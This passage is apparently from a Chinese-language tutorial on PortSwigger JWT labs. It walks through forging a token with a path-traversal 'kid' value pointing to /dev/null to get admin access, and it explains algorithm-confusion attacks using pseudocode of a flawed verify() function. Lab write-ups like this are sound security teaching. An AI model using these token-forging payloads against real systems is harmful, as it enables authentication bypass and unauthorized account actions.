<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"k"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AA=="</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:拦截一个请求将其发送到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">repeat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">模块</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 6</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:此时直接访问</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">/admin——</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">提示</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"401 Unauthorized"</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 7</span><span style="font-family:宋体;font-size:12.0pt;">:在<span lang="EN-US">JSON Web Token</span>界面中修改<span lang="EN-US">kid</span>值和<span lang="EN-US">sub</span>进行目录遍历,这里的<span lang="EN-US">"/dev/null"</span>文件名与<span lang="EN-US">"AA=="</span>一致都为<span lang="EN-US">null</span>,对称密钥,所以可以成功绕过<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"../../../../../../../dev/null"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"alg"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"HS256"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 8</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:点击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">sign</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">选择</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">OCT8 </span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的密钥攻击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;letter-spacing:.4pt;">Step 9</span><span style="font-family:宋体;font-size:12.0pt;letter-spacing:.4pt;">:成功越权</span><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 10</span><span style="font-family:宋体;font-size:12.0pt;">:调用敏感接口删除<span lang="EN-US">carlos</span>用户完成解题<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">JWT</span></b><b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">算法混淆</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">算法混淆</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">算法混淆攻击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">也称为密钥混淆攻击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是指攻击者能够迫使服务器使用不同于网站开发人员预期的算法来验证</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JSON web</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(JWT)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签名,这种情况如果处理不当,攻击者可能会伪造包含任意值的有效</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwt</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">而无需知道服务器的秘密签名密钥</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">可以使用一系列不同的算法进行签名,其中一些,例如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:HS256(HMAC+SHA-256)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">对称</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥,这意味着服务器使用单个密钥对令牌进行签名和验证,显然这需要像密码一样保密</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">其他算法,例如<span lang="EN-US">:RS256(RSA+SHA-256)</span>使用<span lang="EN-US">"</span>非对称<span lang="EN-US">"</span>密钥对,它由一个私钥和一个数学上相关的公钥组成,私钥用于服务器对令牌进行签名,公钥可用于验证签名,顾名思义,私钥必须保密,但公钥通常是共享的,这样任何人都可以验证服务器发出的令牌的签名<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">混淆攻击</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">算法混乱漏洞通常是由于</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">库的实现存在缺陷而导致的,尽管实际的验证过程因所使用的算法而异,但许多库都提供了一种与算法无关的方法来验证签名,这些方法依赖于令牌头中的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数来确定它们应该执行的验证类型,下面的伪代码显示了一个简单的示例,说明了这个泛型</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">verify()</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">方法在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">库中的声明:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">function verify</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> secretOrPublicKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">){</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span>algorithm </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getAlgHeader</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">if</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">algorithm </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">==</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RS256"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">){</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// Use the provided key as an RSA public key</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">else</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">if</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">algorithm </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">==</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"HS256"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">){</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// Use the provided key as an HMAC secret key</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">使用这种方法的网站开发人员认为它将专门处理使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RS256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">这样的非对称算法签名的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">时,问题就出现了,由于这个有缺陷的假设他们可能总是传递一个固定的公钥给方法,如下所示</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">publicKey </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">key</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">of</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">server</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
token </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> request</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getCookie</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"session"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
verify</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> publicKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在这种情况下如果服务器接收到使用对称算法</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">例如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:HS256)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">签名的令牌,库通用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">verify()</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">方法会将公钥视为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HMAC</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥,这意味着攻击者可以使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HS256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和公钥对令牌进行签名,而服务器将使用相同的公钥来验证签名</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">备注</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用于签署令牌的公钥必须与存储在服务器上的公钥完全相同,这包括使用相同的格式</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X.509 PEM)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">并保留任何非打印字符,例如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">换行符</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">,</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在实践中您可能需要尝试不同的格式才能使这种攻击奏效</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">)<br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">攻击流程简易视图如下:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">攻击演示</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 1</span><span style="font-family:宋体;font-size:12.0pt;">:点击<span lang="EN-US">"Access the lab"</span>访问靶场<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 2</span><span style="font-family:宋体;font-size:12.0pt;">:使用账户密码登录<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 3</span><span style="font-family:宋体;font-size:12.0pt;">:登录之后进入到用户邮箱更新操作界面<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
